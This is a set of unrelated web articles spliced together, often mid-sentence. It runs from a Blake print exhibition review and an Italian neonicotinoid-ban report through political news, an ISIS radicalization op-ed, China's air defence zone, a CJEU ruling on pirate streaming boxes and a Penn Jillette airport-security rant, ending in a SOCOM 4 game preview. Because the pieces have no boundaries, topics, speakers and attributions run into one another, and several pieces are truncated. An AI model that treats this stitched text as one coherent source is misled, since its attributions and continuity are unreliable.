instead of competing because we are stuck in this individual mindset.Euvie: So what do you want to do specifically?I think for me the problem with blockchain right now is its mostly tech |
intact. Ideas of boundedness and high definition are essential.
These matters become less polarised, I think, if we try to escape from the notion that boundedness and determinacy in Blake have to do necessarily with line. Both my main examples so far – the Job series and Los and Orc – show that this is not true. ‘Outline’ in Blake is a word for distinctness and salience, however arrived at. Distinctness is above all a property of space. And, more particularly and technically, it seems to issue from Blake’s strange and elaborate printmaking process – his endless experiments with the matter of ‘relief’. Michael Phillips, the curator of the Ashmolean show, has spent years trying to fathom – even to reproduce – the deep mysteries of Blake’s procedure. The actual recession or shallowness of the etched parts of the plate; the nature of its inking; the pressure of his press; the elaborateness of Blake’s ‘retouching’ in ink or chalk or rough kinds of tempera – all these remain hard to be sure of. The central chapters of Phillips’s catalogue are admirably dogged in pursuit of the artist’s methods, but one hears the great Satan’s laughter in the background. ‘This I shall do by printing in the infernal method, by corrosives, which in Hell are salutary and medicinal, melting apparent surfaces away.’ The infernal method keeps its secrets.
Phillips, looking round for contemporary testimony, quotes from a reminiscence by Frederick Tatham, who saw Blake at work towards the end of his life. What he says aids understanding of prints made much earlier. The great ‘final state’ of the 1795 The House of Death, borrowed for the Oxford show from the Fitzwilliam, seems to open itself to Tatham’s description. (Millboard, which gets a mention in passing, is a thick paper of the kind often used to bind books: Blake used it sometimes instead of copper as his support.)
He painted roughly and quickly, so that no colour would have time to dry. He then took a print of that on paper, and this impression he coloured up in watercolours, repainting his outline on the millboard when he wanted to take another print. This plan he had recourse to, because he could vary slightly each impression; and each having a sort of accidental look, he could branch out so as to make each one different. The accidental look they had was very enticing.
Tatham makes clear in another letter that the ‘accident’ was not just a spur to variation from Blake’s point of view, but a quality in itself, which the artist for some reason wanted and then elaborated. ‘There was a look of accident about his mode which he afterwards availed of, and tinted so as to bring out and favour what was there rather blurred.’
The Ashmolean show has three versions of The House of Death hung in a row – it is tremendous to see them together. One of them, from the British Museum, is a little muted, possibly faded with time; but the other two, from Tate and the Fitzwilliam, are strong instances of the ‘each one different’ Tatham describes. My guess is that the Fitzwilliam print is the last of the three: I certainly think it is the best. That is to say – trying to put together Tatham’s insights and Blake’s own more relentless statements of intent – it is the one that strikes the most complex balance between a ‘look of accident’ and ‘stronger and better lineaments … stronger and better light’.
In The House of Death Blake is illustrating some grisly lines from Paradise Lost:
A lazar-house it seemed, wherein were laid
Numbers of all diseased, all maladies
Of ghastly spasm …
Dire was the tossing, deep the groans; Despair
Tended the sick, busiest from couch to couch;
And over them triumphant Death his dart
Shook, but delayed to strike, though oft invoked
With vows, as their chief good, and final hope.
So the traditional title of the print is euphemistic: this is more ‘The House of the Death that Refuses to Come’. Despair takes up position to the right of the scene, holding a knife but too stupefied to use it. In the Fitzwilliam print there is no sign of Milton’s darts (which appear in the Tate version as shards of ice) and Death’s instrument looks to be simply a scroll: it is written, says the scroll-bearer, when your agony will end. God-the-Father and Death are conflated. Once again, as in Los and Orc, a set of flexed fingers (those of the victim in spasm closest to us) pulls us into the pantomime. God-the-Father has his wrinkled eyes closed, but not, one senses, out of compassion.
I know that the word ‘relief’ in this context has an intolerable double meaning, but the triumph of the Fitzwilliam version is technical: it depends on the creation of a space fully appropriate to the appalling subject matter. There is much more colour in the Fitzwilliam print than in Tate’s or the British Museum’s – above all, an invading fiery red. It seems to be consuming a huddled sufferer in the right background. And there are more decisive deep darks, holding and floating Death on his cloud. Death’s hyper-patriarchal beard, whose locks in the Tate version seem individually combed and arranged as by a cosmic hairdresser, is now cut off abruptly by the cloud of fire. Colour and edge conspire finally to put God nowhere – in a dreadful non-proximity to the humans he won’t help. Spatially again – as with Los and Orc, but now on a grander scale, and deploying with utter certainty a baffling range of techniques – Blake thinks his subject through to the bitter end. The tension between sharp unforgiving salience and volatile, smouldering, blotted ‘atmosphere’ is stretched almost to breaking point. A pale halo insists on Despair’s idiocy. The sufferers catch reflections from Urizen’s fire. The bottom edge of Death’s beard is as sharp as an axe.
It seems to me tragic that art of this stature, which in English art is such a rarity, remains in practice a thing ‘off to one side’. In a sense, of course, that is where it belongs. Blake was a revolutionary (and counter-revolutionary) craftsman. He came out of the world of London sectaries. His trade was basic to his worldview. He is as separate from the main line of gentility as any English artist has ever been. Previous ages may often have been cloying in their worship of the master, but at least at their best they tried to respond to his challenge. Nowadays, standing in the ‘1915’ gallery at Tate Britain (the octagon next to the bookshop), it is hard to remember that here the walls were once packed tight with tier on tier of Blake’s paintings, with through the door Palmer and Fuseli and Flaxman as comparison. (The mosaic floor of the Blake Room, covered in aphorisms drawn from The Marriage of Heaven and Hell, is still underfoot as reminder. My guess is that the room’s early 20th-century designer had Job’s diorama specifically in mind.) In the new Tate, Blake is confined to an eyrie at the end of the Turner wing, up stairs most visitors miss. Perhaps in time he will come back to his non-place – central, minatory and inassimilable – in the story of British art.It does look like a resounding, spectacular success. During this year’s neonicotinoid-free maize sowing in Italy hardly a bee colony has been lost, bar a suspicious case where some leftover seed from last year may have been used.
The ban on the insecticide-soaked seed coating enforced by the Italian government last year seems to have worked wonders, judging from the freshest data collected on the ground by researchers, beekeepers and regional authorities alike.
Giacomo Michelatti, expert of the Piedmont Region in Italy, considers: “At this point of corn sowing this year you can more than reasonably say that there were no cases of widespread bee mortality in the apiaries surrounding maize crops, as we had seen again and again, worryingly, back in 2008. Yet, the honey producers’organisation “Aspromiele” has reported only one case of disappearance of an entire bee colony at Luserna San Giovanni in the province of Turin to the authorities in charge. In this instance it was not possible for us to analyze the bees, because they have not been found, either dead or alive. Suspicions remain on the maize crops in the immediate vicinity, where neonicotinoid-coated leftover maize seed from last year may have been used”.
Moreno Greatti, from the University of Udine, states :“Over here in Friuli Venezia Giulia (Italy’s North-East, Ed.) and in the other maize-growing areas in Northern Italy bee hives have not suffered depopulation and mortality coinciding with maize sowing this year. To this day, bee colonies are well populated by these precious insects. Beekeepers from Northern Italy and all over the country are unanimous in recognizing that the suspension of neonicotinoid- and fipronil-coated maize seeds needs to be thanked and praised for this. Even in Germany and France, in a similar context, bees have been “restored to health”. In our region during March and April 2009 no cases of bee mortality were reported at all to the Regional Bee Laboratory. This had not been happening since 1999! This year, in 10 beehives located here and there in our region, the same Laboratory has been monitoring for dead bees by putting them into special containers. This has been carried out between March and the beginning of May, to cover the period of maize sowing. They have not found out any differences between the hives located near maize fields, before, during and after sowing."
Although varroasis and other pathologies are found at other times of the year, the suspension of neurotoxic insecticides in seed coating has made the situation patently better.
Francesco Panella, President of the Italian Association of Beekepers, says: “On behalf of beegrowers working in a countryside dominated by maize crops, I wrote to the Minister of Agriculture to confirm the great news, for once: thanks to the suspension of the bee-killing seed coating, the hives in the Po Valley are flourishing again. We cannot underestimate that there are over one million hectares of maize crops, predominantly in Northern Italy, which means one crop out of every seven which are grown every year in our country. This year’s magnificent and unusual spring growth of bee colonies means a very good production of acacia honey in Northern Italy. We are now anxious to ensure that the temporary ban of neonicotinoid seed coating becomes definitive. Over the past few days we got news of devastating cases of bee mortality in some citrus groves of Southern Italy, which had been sprayed with one neonicotinoid."
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SNP MP Tasmina Ahmed-Sheikh is no longer facing court action by the taxman.
Two cases concerning Ahmed-Sheikh were registered last month at Glasgow Sheriff Court.
The HMRC vs Tasmina Ahmed-Sheikh in pursuit of sequestration was due to be heard on January 27.
A liquidation case against law firm Hamilton Burns, where Ahmed-Sheikh held shares, was due to be heard today. It’s understood the taxman settled both cases.
A Scottish Courts Service spokeswoman said: “Both cases noted have been dismissed in chambers.”
A spokesman for the MP said: “She hasn’t been served with court papers and doesn’t expect any.”
Last month, legal sources suggested the action against Ahmed-Sheikh was not based on personal debt but on being jointly liable for Hamilton Burns’ debts.
Hamilton Burns did not respond to the Record’s request for comment.When Spike TV began its contract with Bellator in January, it continuously billed itself as the home of mixed martial arts.
That, though, is difficult to tell from the shockingly poor performance of the debut of its heavily promoted reality show, "Fight Master," on Wednesday. Bellator's live fight card, featuring a light heavyweight bout headlined by Muhammed "King Mo" Lawal, also tanked.
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Bellator's summer series, Bellator 96, kicked off in Thackerville, Okla., with Lawal scoring a devastating one-punch knockout of Seth Petruzelli. But the fight card attracted an average of just 480,000 viewers, several hundred thousand less than Spike was getting during the recently completed season. Bellator 95, which featured Pat Curran defending the featherweight title against Shakhbulat Shamkhalaev, averaged 901,000 viewers on April 4.
Worse from Spike's standpoint, Wednesday's live card was beaten head-to-head by the UFC's March show on Fuel, which did an average of 485,000 viewers. Spike is in 97.9 million homes and Fuel is in 36.8 million. The UFC fight card on June 8 from Brazil that was on Fuel averaged 313,000 viewers.
The 'Fight Master' reality show, featuring coaches Randy Couture, Greg Jackson, Frank Shamrock and Joe Warren did even worse. Fight Master averaged 432,000 viewers for its debut. It reached 109,000 with viewers 18-34, and just 67,000 with men 18-34, which is the primary MMA demographic.
Compared to Season 14 of 'The Ultimate Fighter,' the final season of the UFC's reality series that aired on Spike, Fight Master was a major loser. It was down 92 percent in men 18-34, 91 percent with adults 18-34 and down 87 percent with adults 18-49.
Fight Master received wide critical acclaim, but the public, at least for the debut, didn't buy the hype.Democratic presidential nominee Hillary Clinton is considering retired four-star Navy Adm. James Stavridis as her potential running mate this fall, according a report in the New York Times.
The 61-year-old Naval Academy graduate spent 30 years in the service before his retirement in 2013. His last post was a four-year stint as Supreme Allied Commander at NATO, overseeing the alliance's military operations across the globe.
In recent weeks, Stavridis has not been mentioned in most speculation of Clinton's potential vice presidential picks. Campaign officials would not comment on the new report.
But the campaign has hinted in the past that the former secretary of state may consider a retired military official as her running mate, and Stavridis earned generally positive remarks from both the White House and Congress during his military career.
He currently serves as dean of the Fletcher School of Law and Diplomacy at Tufts University, one of the oldest international affairs study programs in the country. Prior to his NATO appointment, Stavridis served as head of U.S. Southern Command and in various other Defense Department leadership roles.
The news comes as both campaigns head into the party conventions later this month, with Republicans launching their event this weekend.
GOP presidential nominee Donald Trump is expected to name his vice presidential pick in coming days, and has stated publicly that at least two retired military officials are under consideration. One of them is presumed to be campaign advis er retired Lt. Gen. Michael Flynn, former director of the Defense Intelligence Agency.
Flynn has been a vocal critic of both Clinton and President Obama, but the 57-year-old veteran has come under criticism in conservative circles for his left-leaning stances on abortion and same sex-marriage.
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Both candidates have made foreign policy and national security centerpieces of their respective campaigns, making the addition of a military leader to either ticket a distinct possibility.
But not everyone sees that as a good idea. In an interview with Foreign Policy magazine on Monday, retired Marine Corps Gen. John Kelly called the involvement of retired generals in politics a danger to civilian trust in the military, and encouraged his peers to stay out of the "cesspool of domestic politics."A New York Times article published last week drew attention to the growing trend among affluent, intelligent, and socially well-adjusted young women joining ISIS or other Islamic terrorist organizations. This phenomenon struck the Grey Lady as particularly curious because, as a lawyer for the families of one of the girls put it: “It is those young people who are liked, who are smart, who think, who are caring, who are ripe for radicalization” instead of the outcasts. In a Saturday Night Live skit that aired over the weekend, one of those girls was played by Fifty Shades of Grey‘s Dakota Johnson, underscoring the seeming absurdity of the act.
“We tend to think they are crazy,” explained John Horgan, a psychologist and professor at the University of Massachusetts and one of the few American psychologists who specializes in terrorists. “Because of what terrorists do, we assume that can be explained via the pathology of those people, but trying to explain terrorism as mental illness is misleading.”
If we want to stop our youth from gravitating toward political extremism, we need to stop being surprised when we discover that people attracted to dangerous ideologies aren’t crazy misfits. Instead, we need to recognize that political extremists, including but not limited to the Westerners who join terrorist groups like ISIS, are motivated by a deeply rooted element of human nature—that is, the need to feel important and find one’s place in, and understanding of, the larger world.
“From a psychological perspective, the appeal of violent extremism derives from a clever exploitation of two basic human needs: the need for cognitive closure and the need for personal significance,” writes Arie W. Kruglanski at E-International Relations. “The need for closure amounts to the quest for certainty, and the eschewal of ambiguity; it is the desire to feel assured about the future, to know what to do and where to go. It is the quest for structure and coherence in one’s outlook and beliefs.”
Association for Psychological Science fellow Michael A. Hogg echoed this point in a recent article for Current Directions in Psychological Science, arguing that “‘uncertainty-identity theory’—the role uncertainty plays in motivating people to join a social group to feel accepted—could be a contributing factor pushing people toward fringe groups—whether ideological, religious, or political.”
Kruglanski’s and Hogg’s observations may seem novel, but they have actually been around for quite some time. The gist of the idea was best summed up by President Dwight Eisenhower in a 1959 letter he wrote to a World War II veteran named Robert Biggs endorsing one of his favorite philosophical books, Eric Hoffer’s The True Believer. “Dictatorial systems make one contribution to their people which leads them to tend to support such systems,” the president explained, “freedom from the necessity of informing themselves and making up their own minds concerning these tremendous complex and difficult questions.”
In other words, the people most likely to be attracted to ISIS are the same people who would have been drawn to the extremist ideologies of Eisenhower’s time (e.g., Nazism and Communism). They are men and women who are well-informed about the world around them and want to find a place for themselves within it, to identify with a greater cause and quiet the existential restlessness that churns inside them. While those traits don’t exclusively apply to the young and educated, it’s hard to deny that they’re more likely to fit the bill.
This is important to note because it transforms the prospect of ISIS recruiting Westerners from an incomprehensible menace to something far more relatable. It’s the same reason that might prompt people to join a cult or participate in far rightist or far leftist revolutionary movements: Those movements quell any uncertainty they might have about themselves and their environment. Recognizing this is not the same as condoning it; terrorist violence is wrong regardless of the cluster of reasons behind the motives of its perpetrators.
That said, being inclined toward an extremist mentality doesn’t always mean that someone is inherent malevolent or even stupid. When psychological experts from the United States and the Netherlands collaborated on a study to determine how political extremists differed from political moderates, they found that one common trait was the former’s unwillingness to reflexively agree with what others told them were socially acceptable ways of thinking.
That said, even the tendency to refuse to take other people’s assumptions for granted came with a significant downside. “People with extreme ideology and more extreme attitudes diverged significantly from prescribed anchors, but not self-generated anchors,” the study also discovered. “So it appears that extremists are deliberate and thoughtful in their judgments, but swayed by a belief in their intellectual superiority.”
When it comes to stopping young people from being attracted to political extremism, therefore, the first step lies in encouraging young people to draw their ideological conclusions about what they experience in their own lives and see in the news. Because this need for independent thinking and intellectual self-respect drives extremism in the first place, attempts to steer people away from extremist beliefs or outright prohibit them might only make them more seductive. Instead of bombarding our youth with negative messages about organizations we don’t want them to join, it might be beneficial to allow them to search for knowledge themselves, confident that their own good intentions will allow them to avoid being seduced by unsavory organizations that pervert the truth.
We need to spread information about why extremism can appeal to people so that those who might otherwise be lured in by it can have the knowledge to stay away. None of the observations in this article should be limited to politically or socially conscious websites. No one should grow up without knowing the threat of extremism or the psychological factors that might cause one to be attracted to it, any more than we allow youth to grow up without a similar understanding of what might draw them to illegal drugs. While this wouldn’t eliminate the problem of extremism entirely, it would almost certainly save some lives that might have otherwise made poor choices.
Of course, the most important way we can stem the tide of extremism is to remind those who may be susceptible to it of the ones they hurt when they succumb to the allure of terror. Near the end of The New York Times’ article, it quoted the family of a British Muslim teenager who joined ISIS as telling her: “Your actions are a perverted and evil distortion of Islam. You are killing your family every day with your actions. They are begging you to stop if you ever loved them.”
No amount of psychological and sociological analysis can ever be as powerful as statements such as that one.
Screengrab via YouTubeImage copyright Reuters Image caption The Chinese zone covers islands claimed by Japan and Taiwan
Japan and South Korea have both flown planes unannounced through China's newly-declared air defence zone, officials from both nations say.
Japanese aircraft had conducted routine "surveillance activity" over the East China Sea zone, the top government spokesman said.
South Korea had also conducted a flight, its defence ministry said.
China says planes transiting the zone, which covers areas claimed by Tokyo, Seoul and Taipei, must file plans.
The zone includes islands known as Senkaku in Japan and Diaoyu in China which are claimed by Japan, China and Taiwan.
Japan controls the islands, which have been the focus of a bitter and long-running dispute between Japan and China.
The zone also covers a submerged rock that South Korea says forms part of its territory.
China, which established the air defence identification zone (ADIZ) on Saturday, says aircraft must report a flight plan, communicate and identify themselves. Those who do not could face "defensive emergency measures".
China's move has been condemned by the US and Japan.
Japanese restraint in the face of Chinese efforts to modify the status quo is currently keeping the peace, potentially to the detriment of Japan's claim to the islands and its ability to use the surrounding sea area James Manicom, Expert, China-Japan security issues Viewpoints: China air zone tensions
America, which called the move a "destabilising attempt to alter the status quo in the region", flew two unarmed B-52 bombers through the zone unannounced on Tuesday.
'Not going to change'
Japanese officials did not specify when the flights happened, but confirmed the surveillance activity.
"Even since China has created this airspace defence zone, we have continued our surveillance activities as before in the East China Sea, including in the zone," said Japan's top government spokesman, Yoshihide Suga.
"We are not going to change this [activity] out of consideration to China," he added.
Air defence identification zones Zones do not necessarily overlap with airspace, sovereign territory or territorial claims
States define zones, and stipulate rules that aircraft must obey; legal basis is unclear
During WW2, US established an air perimeter and now maintains four separate zones - Guam, Hawaii, Alaska, and a contiguous mainland zone
UK, Norway, Japan and Canada also maintain zones Source: aviationdevelopment.org
For their part, South Korea's military said one of their planes entered the zone on Tuesday.
South Korea's Foreign Minister Yun Byung-se said on Wednesday that the air zone issue had made "already tricky regional situations even more difficult to deal with".
"We've witnessed competition and conflicts among players of the region getting fiercer," he told Yonhap news agency.
On Thursday South Korea and China held talks on the zone, but failed to reach any agreement.
China defended its establishment of an air zone on Thursday, with a Defence Ministry spokesman telling state media it was "completely justified and legitimate".
US Vice-President Joe Biden is expected to express America's concerns to China when he makes a scheduled visit next week.
Mr Biden would "convey our concerns directly and... seek clarity regarding the Chinese intentions in making this move at this time", a senior US official administration said.
China-Japan disputed islands The archipelago consists of five uninhabited islands and three reefs
Japan, China and Taiwan claim them; they are controlled by Japan and form part of Okinawa prefecture
Japanese businessman Kunioki Kurihara owned three of the islands but sold them to the Japanese state in September 2012
The islands were also the focus of a major diplomatic row between Japan and China in 2010 Q&A: China-Japan islands row
Mr Biden will also make stops in Japan and South Korea during his trip to Asia.
Meanwhile, Philippine Foreign Secretary Albert del Rosario said China's air zone move in the East China Sea may have implications for territorial disputes in the South China Sea.
His comments come as China's aircraft carrier, the Liaoning, and its warship escorts headed to the South China Sea for what has been described as a training mission.
"There's this threat that China will control the air space [in the South China Sea]," Mr Del Rosario told local media.
"It transforms an entire air zone into China's domestic air space. And that is an infringement, and compromises the safety of civil aviation," he said, adding it "also compromises the national security of affected states".
Aside from the Philippines, Vietnam, Malaysia, Brunei and Taiwan also have overlapping claims with China in the South China Sea.Folly Brewpub announces departures, new head brewer
Toronto – Folly Brewpub said today their two founding brewers – Christina Coady and Chris Conway – will depart from the brewery at the end of 2017 returning home to Newfoundland.
“We’ve always been asked about when we’d want to make the trip home to try something near to our families,” Conway explains, “and with the growing industry in Newfoundland, 2018 is the year that we want to try build something closer to home.”
Coady and Conway have began working with Folly in 2014 when it was known as Habits Gastropub, and later relaunched as Folly Brewpub in 2015.
Taking over brewing operations at Folly is John Jenkinson, a long-time homebrewer and brewer in London.
“John is the right person to continue the beer direction of Folly,” says Conway, “we couldn’t be happier passing off the brewing responsibilities to another established homebrewer with some great ideas for new Folly brands.”
Jenkinson has already been working directly with Coady and Conway to begin the transition.Haven’t heard about the Hyde Amendment? Blame the networks!
For 40 years, the Hyde Amendment has protected taxpayer money from funding abortions. The provision has saved as many as 2 million children, but as the 2016 presidential election progresses, liberals are working harder than ever to repeal it.
On this week’s AlliKat Show, Newsbusters reporters Alli Nielsen and Kat Yoder expose the dishonest feminist attacks on Hyde. And the network blackout on the amendment.
“ABC, NBC, and CBS haven’t said the words ‘Hyde Amendment’ once in the past five years” Kat revealed.
Despite the networks’ censorship, Hyde should be in the news cycle. Presidential candidate Hillary Clinton has said she would work to repeal it, and the new Democratic Party Platform approved at the DNC also promised to “oppose” and “overturn” Hyde.
“Planned Parenthood received more than $553 million last year alone in government funding!” Kat argued. “And that’s not counting the billions of dollars they get from people like Warren Buffett, George Soros, and Bill and Melinda Gates.”
But liberals still aren’t satisfied.
“For all the liberal talk of diversity and tolerance, they show none of it for the pro-life movement!” Alli urged. Their radical pro-abortion stance is even alienating Democrats.
The law forbids the use of taxpayer dollars for abortion, except in the cases of rape, incest, or to save a mother’s life. Hyde protects conservative taxpayers from “being forced by the government to pay for something we think is morally wrong,” Kat explained.
Feminist media ignore that.
Last week, a Cosmopolitan headline accused the Hyde amendment of “Hurting Women for 40 Years.”
Repealing Hyde, the writer said, is “about making sure a woman who’s made the profound decision to end her pregnancy gets the care she needs” and “about compassion and respect.”
In 2013, feminist writer Jill Filipovic praised abortion for helping “put women on the path to escaping” domestic violence and abuse, and bashed Hyde as “perhaps the most harmful restriction” on abortion.
In a story written for Glamour Magazine, NARAL board member Renee Bracey Sherman called Hyde “a discriminatory policy” that “den[ies] people the choice of what to do with their pregnancies.”
Slate staff writer Christina Cauterucci called Hyde an “archetypal example of legislators using poor women’s bodies as political battlegrounds.”
“Abortion care is health care,” she argued. “Doctors provide it, many private health insurance plans cover it, and the law says women must have access to it.”
The President and CEO of the liberal, pro-abortion Guttmacher Institute, took to The Huffington Post to complain about, “The Harmful And Unjust Hyde Amendment.”
Her grievances against Hyde included women being “forced to carry their unwanted pregnancy to term.” (“Pregnancy.” Not “baby.”)
Even teens are targeted. A Teen Vogue writer attacked Hyde for supposedly dealing a “devastating blow to low-income and women of color” that drives them “deeper into poverty.”
Alli concluded that liberals are set on “forcing conservatives to take part in the murder of millions of innocent children.” And they have the feminist media to back them.
Click here to watch Alli and Kat’s last episode on the gender wage gap!For a number of years, one-man business Filmspeler has sold various media players that run open-source software. They were pre-configured with add-ons that are capable of delivering illegal sports, movie and TV show streams, without the consent of the original rights holders.
In 2015, BREIN sued Filmspeler owner Jack Frederik Wullems before the District Court of Central Netherlands, arguing that sales of the pre-configured players constituted a "communication to the public," contrary to Dutch copyright law. Wullems disagreed, stating that Filmspeler had no involvement in such add-ons and that they were already publicly available.
The District Court of Central Netherlands referred the case Europe's highest court, asking specifically whether it was legal for retailers to sell pre-configured streaming boxes with links to pirated content and if individual users can be liable for accessing such material. According to the CJEU, sales of dedicated pirate streaming boxes are considered communication to the public.
"Mr Wullems, in full knowledge of the consequences of his conduct, pre-installs, on the multimedia player add-ons that make it possible to have access to protected works and to watch those works on a television screen," the ruling states. "Such actions are not to be confused with the mere provision of physical facilities, referred to in the directive. In that regard, it is clear from the observations submitted to the Court that streaming websites are not readily identifiable by the public and the majority of them change frequently."
It was argued that Filmspeler rose to prominence because it took care of the hard work -- i.e. installing the add-ons. Buyers, the court said, knew they'd get a "free and unauthorised offer of protected works deliberately and in full knowledge of the circumstances".
Various European courts have been tasked with clarifying the legality of such hardware. In the UK, the Premier League -- with support from BT, EE, Sky and Virgin -- was successfully granted a court order to block websites and services offering free football (or soccer) streams.
Mr Justice Arnold noted at the time:
"The skill and effort required to find and use such devices and apps to access infringing content has fallen dramatically. Devices such as set-top boxes and media players are easy to connect to domestic televisions. Software to access suitable streams (in particular, software known as Kodi together with third-party add-ons) has become much easier to find and install. Indeed, it is increasingly easy to purchase set-top boxes and other devices which are already loaded with such software. Moreover, sources of infringing content often update automatically."
Unsurprisingly, today's ruling could have a significant impact on the sale of so-called "Kodi boxes". The makers of the neutral open-source software have moved to distance themselves fully-loaded setups, but continue to be associated with illegal streaming, even though the infringing add-ons are provided by third parties. Amazon has gone as far as to block the sale of pre-loaded hardware.
Dutch courts can now issue a definitive ruling on the Filmspeler case and it's likely to set a precedent for other European courts to follow. It'll also be music to the ears of rights holders, which have been campaigning against the online sharing of copyrighted content for many years.Image copyright Alamy
A little-known charity has been helping out destitute British people in France for nearly 200 years. If the causes of poverty were once wars and revolutions, now it's more likely to be a house purchase gone wrong.
Just a few years after the fall of Napoleon at the battle of Waterloo, the British community in Paris was growing fast.
Encouraged by a fashion for things English under the restored French monarchy and by growing unemployment at home, thousands of workers - bricklayers, ostlers, servant-girls and governesses - were trying their luck across the channel.
Many thrived. But others did not. They lost their jobs, or were the victim of fraud, and found themselves destitute.
And so in 1823 there was established the British Charitable Fund (BCF) - its purpose to come to "the relief of distressed British subjects" in the French capital.
"The widow and the orphan, the sick and the aged, present themselves, in succession, for food, and raiment, and medical assistance," reads an appeal for contributions written in 1827.
"The houseless wanderer in a foreign land solicits conveyance to his native home; the friendless and forsaken claim consolation and protection."
Nearly two centuries later, the BCF is still distributing help to subjects of the crown who find themselves down on their luck in France.
Today the beneficiaries are more likely to be in Poitou than in Paris. Many are people who came out for the rural good life, and saw it all go sour.
"The profile of our beneficiaries has changed over the generations," says Julia Kett, chairwoman of the trustees.
Image caption The ledgers of the British Charitable Fund
"Once we were helping seamstresses and dancers. And before that plain working-class labourers. Now more and more there are widows and young families, many living in remote parts of the country.
"The people have changed but the need for our help has not gone away."
Up until World War Two, the BCF owned a sumptuous residence on Avenue Hoche beside the Arc de Triomphe. Today it operates from a small office in the suburb of Levallois-Perret.
Here trustees hold their monthly meetings to agree on who gets what. Here the permanent staff of one answers calls from the distressed. And here is also housed a cupboard-full of archive - a treasure trove for the social historian.
The leather-bound minute books and annual reports go back to the earliest days, with the occasional letter tucked in the folds.
The bearer his a man with a Wife and two small Children and at the moment in the Greatest distress... 1829 appeal for help to BCF
The report for 1832 states that 981 cases have been treated in the year, with 332 people given fares back to the UK.
"Of those who have been sent to England, the greater part were labourers, manufacturers or mechanics who, inveigled into the country by fruitless speculators, or seduced by the hope of bettering their condition, were become the victims of their credulity or delusion," it reads.
A badly spelled letter from 1829 carries a plea on behalf of an employee: "Gentlemen, The bearer his a man with a Wife and two small Children and at the moment in the Greatest distress … he have been in my Company for 10 months and have been berry attentive to his work when he have it to do... What you think proper to give him will be kindly received."
The tides of history - the crises and wars - are reflected in the changing fortunes of the British in Paris.
Need increases in the revolutionary years of 1830 and 1848. But the most dangerous moment is the winter of 1870-1871, when Paris is laid siege to by the Prussians.
Here the minute books change from giving a written account of each individual applying for help. Instead there are pages and pages of names, with a log of the provision that they received.
Image copyright Getty Images/BBC Image caption Richard Wallace was thanked by the BCF for "munificent assistance" during the 1870-71 siege of Paris
"People were close to starvation in Paris, |
used to kinda sorta dig hard. I was casually corresponding with my big cheese lawyer buddy, about my chances with a real criminal assault case against an airport security employee and he thought I was on shaky ground. Being single, without kids, and employed in a job that pretty much keeps me in Vegas, a court case would be as little trouble for me as it could be to anyone. The judicial system is always a stone solid drag, but if not me, who? And if not now, when? But, my buddy, wasn’t pushing for me to do it, and he’s enough of a nut to go to the Supreme Court against the blind having government mandated TV descriptions, so when he thought my battle was a bit Quixotic, I really wanted to think before tilting.
If I lost the case, and I had a good chance of doing that, there would be precedent for a pig to say, “I can do whatever I want,” and that bugged me. I was also bothered by how it looked. I did not want to be seen in a court case as a crybaby who couldn’t bear to be slowed down from my busy celebrity schedule at the airport. I wouldn’t be thrilled with that embarrassment. Even the Road Penn, which goes out to people I know personally, had some people writing stuff to me about not letting myself be bought with a “limo and a suite.” If people here can misunderstand my position, what hope do I have the court of public opinion?
She asked when I was flying next and said if I could give her my itinerary she would make sure that security was “no problem.” My plan was to take my special treatment with a smile and then write it up and publish wherever I could. I thought maybe both freedom fighters, and cowards alike would be appalled at a cheesy Vegas juggler being rushed through this more-important-than-freedom-national-security. It seemed like a good plan. Last night Glenn asked if he should call the woman’s office with my flight information. I just couldn’t say yes. Even as he asked me, I blushed. It just felt so embarrassingly evil to call up a government agency and say, “Here’s when to treat me better because I’m on TV and might have access to a soapbox.”
I had told her on the phone that I was leaving for Chicago “around 2,” and I figured if she really wanted to shut me up, maybe she’d guess my flight from there and look for me. It seemed like a compromise with myself. The part of me that wanted to set up the sting to bring down the pig power structure, and the side of me that would roll it’s eyes at “Mr Jillette will be flying to Chicago on the 2:35 United Flight and would like there to be no trouble.” So, I put on my jeans, pajama tops and suit coat and headed for the airport. I stood in a long line and waited my turn. There was no tap on the shoulder whisking me away to the “special” line with caviar, and topless wand rapes. A few of the pigs made the usual jokes about “can’t you just make your luggage disappear” and complimented me on our show. It was the usual uncomfortable interaction, as I try to be polite about the compliment while still keeping a good solid pout on about my loss of freedom. Yup, I beeped. Yup, I was wand raped. He followed all the rules and didn’t grab me. He was polite and efficient.
So, the follow-up to the last Road Penn is that nothing happened. I guess I’m not going to try to press charges, and I didn’t get V.I.P. If the woman on the phone is to be believed (and why would she?), they were very upset at my complaint and my little piece of video will be part of their training. But, the revolution will not start here. If me, why? If now, why? But, I was sour and I really pouted a lot going through security, and … if the longest journey begins with whining, maybe the revolution starts with pouting.
A working class hero is something to be. A working class hero is something to be. So, if you want to be a hero, then just follow me.
PennYour PS3 is about to get tactical. We take our first look at Sony's next big shooter.
In the beginning, videogames offered only one story. Survive and kill. It's the story of war, and we're endlessly fascinated by it. It's on our televisions and our movie screens. It's in our blood.
But there's more to the story of battle than just pointing and shooting, although for a while that's all gamers really demanded from a war game. Having a gun in your hand and a friend at your side was all anyone really needed at first. But that's changing. Games are growing up. The developers at Sony's Zipper Interactive know it, and they've taken that knowledge deep into the heart of their new project, SOCOM 4.
Daily Fix Video March 04, 2010 This news and more in the Daily Fix. - Activision Drama Ensues
- SOCOM 4 REVEALED
- New Lara Croft Game Coming
The SOCOM series is a PlayStation-exclusive powerhouse most known for delivering an intense, engrossing online multiplayer experience. Although the first three main games in the franchise did have single-player missions, the focus was always squarely on network play. The strategy has worked well for the studio over the years. When SOCOM 3 was released on the PlayStation 2 in 2005, we named it our favorite online PS2 game, and the series overall has sold 12 million copies around the world. Zipper has been so dedicated to online multiplayer, in fact, that its most recent game, MAG, didn't even have a single-player mode. So what's all this about story, then?
SOCOM 4 introduces a new cast of characters. They like to shoot stuff.
I recently visited Zipper to take an early look at SOCOM 4, and I'd hardly sat down before they started talking about the story they wanted to tell. But before we dive into those details, let's get one thing sorted out straight away. Like its predecessors, SOCOM 4 is a squad-based, realistic, tactical third-person shooter. If that sentence just made you fall slightly asleep, shake it off because this installment promises to be far friendlier to new initiates than earlier SOCOM games. Zipper wants to make SOCOM 4 "the pinnacle of tactical shooters" on the PS3, says lead designer Travis Steiner, but it also wants to build a rich narrative around it.
